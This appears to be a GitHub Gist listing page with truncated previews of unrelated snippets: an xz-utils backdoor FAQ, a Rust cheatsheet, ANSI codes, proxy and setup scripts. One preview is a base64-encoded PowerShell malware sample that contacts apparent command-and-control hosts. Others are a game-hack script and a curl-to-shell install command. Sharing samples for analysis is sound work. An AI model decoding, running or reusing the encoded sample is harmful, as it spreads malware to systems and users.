thesamesam

FAQ on the xz-utils backdoor (CVE-2024-3094)

This is a living document. Everything in this document is made in good faith of being accurate, but like I just said; we don't yet know everything about what's going on.

Background

On March 29th, 2024, a backdoor was discovered in xz-utils, a suite of software that

e-t-u

Rust Error Handling Cheatsheet - Result handling functions

Introduction to Rust error handling

Rust error handling is nice but obligatory. Which makes it sometimes plenty of code.

Functions return values of type Result that is "enumeration". In Rust enumeration means complex value that has alternatives and that alternative is shown with a tag.

Result is defined as Ok or Err. The definition is generic, and both alternatives have

fnky

ANSI Escape Sequences

Standard escape codes are prefixed with Escape:

• Ctrl-Key: ^[
• Octal: \033
• Unicode: \u001b
• Hexadecimal: \x1B
• Decimal: 27

JohnLaTwC

## Uploaded by @JohnLaTwc
## 5c8fc3b6118f88463f19d21c7f9526d45b40b26b83c74d4e148a6510aeb440de
JABwAGkAbgAgAD0AIABuAGUAdwAtAG8AYgBqAGUAYwB0ACAAcwB5AHMAdABlAG0ALgBuAGUAdAAuAG4AZQB0AHcAbwByAGsAaQBuAGYAbwByAG0AYQB0AGkAbwBuAC4AcABpAG4AZwANAAoAJABzAGUAPQBAACgAKAAnAHUAcABkAGEAdABlAC4AdwBpAG4AZABvAHcAcwBkAGUAZgBlAG4AZABlAHIAaABvAHMAdAAuAGMAbwBtACcAKQAsACgAJwAxADEAMQAuADkAMAAuADEANQA5AC4AMQA0ADkAJwApACkADQAKACQAYQB2AGcAcwAgAD0AIABAACgAKQANAAoAJABuAGkAYwAgAD0AIAAnAHUAcABkAGEAdABlAC4AdwBpAG4AZABvAHcAcwBkAGUAZgBlAG4AZABlAHIAaABvAHMAdAAuAGMAbwBtACcADQAKAGYAbwByACgAJABpAD0AMAA7ACQAaQAgAC0AbABlACAAMwA7ACQAaQArACsAKQB7AA0ACgAJACQAcwB1AG0AIAA9ACAAMAANAAoACQAkAGMAbwB1AG4AdAAgAD0AIAAwAA0ACgAJAGYAbwByACgAJABqAD0AMQA7ACQAagAgAC0AbABlACAANAA7ACQAagArACsAKQB7AA0ACgAJAAkAJAB0AG0AcAAgAD0AIAAoACQAcABpAG4ALgBzAGUAbgBkACgAJABzAGUAWwAkAGkAXQApACkALgBSAG8AdQBuAGQAdAByAGkAcABUAGkAbQBlAA0ACgAJAAkAaQBmACAAKAAkAHQAbQBwACAALQBuAGUAIAAwACkAewANAAoACQAJAAkACQAkAGMAbwB1AG4AdAAgACsAPQAgADEADQAKAAkACQB9AA0ACgAJAAkAJABzAHUAbQAgACsAPQAgACQAdABtAHAADQ

feix

var CryptoJS = require('crypto-js')
var request = require('request-promise')

/*
 * npm install crypto-js request-promise request
 * node wx_t1t_hack.js
 */

// export function testEncription(msg, fullKey) {
//   var fullKey = fullKey.slice(0, 16)

dopey

package main

import (
	"crypto/rand"
	"encoding/base64"
	"fmt"
	"io"
	"math/big"
)

pierrejoubert73

How to add a collapsible section in markdown

1. Example

Click me

Heading

1. Foo
2. Bar
   • Baz

• Qux

vxgmichel

"""UDP proxy server."""

import asyncio


class ProxyDatagramProtocol(asyncio.DatagramProtocol):

    def __init__(self, remote_address):
        self.remote_address = remote_address
        self.remotes = {}

dogrocker

Oh my zsh.

Install with curl

sh -c "$(curl -fsSL https://raw.githubusercontent.com/robbyrussell/oh-my-zsh/master/tools/install.sh)"

Enabling Plugins (zsh-autosuggestions & zsh-syntax-highlighting)

• Download zsh-autosuggestions by

apolloclark

#!/bin/bash

# update apt-get
export DEBIAN_FRONTEND="noninteractive"
sudo apt-get update

# remove previously installed Docker
sudo apt-get purge lxc-docker*
sudo apt-get purge docker.io*